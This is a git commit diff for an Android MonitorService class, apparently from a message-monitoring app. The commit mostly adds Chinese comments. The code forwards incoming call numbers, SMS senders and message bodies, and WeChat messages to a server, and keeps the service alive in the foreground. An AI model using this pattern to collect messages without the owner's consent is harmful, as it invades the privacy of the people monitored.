Update MonitorService.java

dev
wangsiyuan 2024-04-22 11:06:19 +08:00
parent 7681db0596
commit d8523a3f3c
1 changed files with 35 additions and 19 deletions

View File

@ -32,31 +32,47 @@ public class MonitorService extends Service {
private String lastPhoneNumber = null; private String lastPhoneNumber = null;
private long lastCallTime = 0; private long lastCallTime = 0;
private static final long HEARTBEAT_INTERVAL_MINUTES = 10; // 10分钟 private static final long HEARTBEAT_INTERVAL_MINUTES = 10; // 10分钟
/**
*
*
*
*/
@Override @Override
public void onCreate() { public void onCreate() {
super.onCreate(); super.onCreate(); // 调用父类的onCreate方法进行初始化
Timber.d("监控服务 onCreate"); Timber.d("监控服务 onCreate"); // 记录日志,表示监控服务创建
startForegroundService(); startForegroundService(); // 启动前台服务,保证服务不会被系统轻易杀死
networkUtils = new NetworkUtils(this); networkUtils = new NetworkUtils(this); // 初始化网络工具类
scheduleHeartbeat(this); // 启动心跳定时任务 scheduleHeartbeat(this); // 启动心跳定时任务,用于保持服务的活跃状态或与服务器保持连接
} }
/**
*
*
* @param intent
* @param flags
* @param startId
* @return START_STICKYonStartCommand()
*/
@Override @Override
public int onStartCommand(Intent intent, int flags, int startId) { public int onStartCommand(Intent intent, int flags, int startId) {
if (intent != null) { if (intent != null) { // 检查传入的Intent是否非空
if (intent.hasExtra("incomingNumber")) { if (intent.hasExtra("incomingNumber")) { // 检查Intent是否包含来电号码
String incomingNumber = intent.getStringExtra("incomingNumber"); String incomingNumber = intent.getStringExtra("incomingNumber");
Timber.d("获取到来电信息,号码: "+ incomingNumber); Timber.d("获取到来电信息,号码: " + incomingNumber);
sendCallInfoToServer(incomingNumber); sendCallInfoToServer(incomingNumber); // 将来电信息发送到服务器
} else if (intent.hasExtra("sender") && intent.hasExtra("messageBody")) { } else if (intent.hasExtra("sender") && intent.hasExtra("messageBody")) { // 检查Intent是否包含短信信息
String sender = intent.getStringExtra("sender"); String sender = intent.getStringExtra("sender");
String messageBody = intent.getStringExtra("messageBody"); String messageBody = intent.getStringExtra("messageBody");
Timber.d("获取到短信信息,号码: "+ sender); Timber.d("获取到短信信息,号码: " + sender);
sendSmsInfoToServer(sender, messageBody); sendSmsInfoToServer(sender, messageBody); // 将短信信息发送到服务器
} }
} }
return START_STICKY; return START_STICKY; // 返回服务启动策略
} }
private void sendCallInfoToServer(String incomingNumber) { private void sendCallInfoToServer(String incomingNumber) {
Timber.d("sendCallInfoToServer: 处理来电信息"); Timber.d("sendCallInfoToServer: 处理来电信息");
if (incomingNumber.equals("null") || incomingNumber == null) { if (incomingNumber.equals("null") || incomingNumber == null) {
@ -81,9 +97,9 @@ public class MonitorService extends Service {
networkUtils.postRequest(callInfo); networkUtils.postRequest(callInfo);
} }
private void sendSmsInfoToServer(String sender,String messageBody){ private void sendSmsInfoToServer(String sender, String messageBody) {
Timber.d("sendSmsInfoToServer: 处理短信信息"); Timber.d("sendSmsInfoToServer: 处理短信信息");
if (checkNullString(sender,messageBody)){ if (checkNullString(sender, messageBody)) {
return; return;
} }
String currentTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()); String currentTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
@ -94,15 +110,15 @@ public class MonitorService extends Service {
networkUtils.postRequest(smsInfo); networkUtils.postRequest(smsInfo);
} }
public void sendWeChatMsg(WeChatMsg weChatMsg){ public void sendWeChatMsg(WeChatMsg weChatMsg) {
networkUtils.postRequest(weChatMsg); networkUtils.postRequest(weChatMsg);
} }
private boolean checkNullString(String a, String b){ private boolean checkNullString(String a, String b) {
if (a == null || b == null){ if (a == null || b == null) {
return true; return true;
} }
if (a.equals("null") || b.equals("null")){ if (a.equals("null") || b.equals("null")) {
return true; return true;
} }
return false; return false;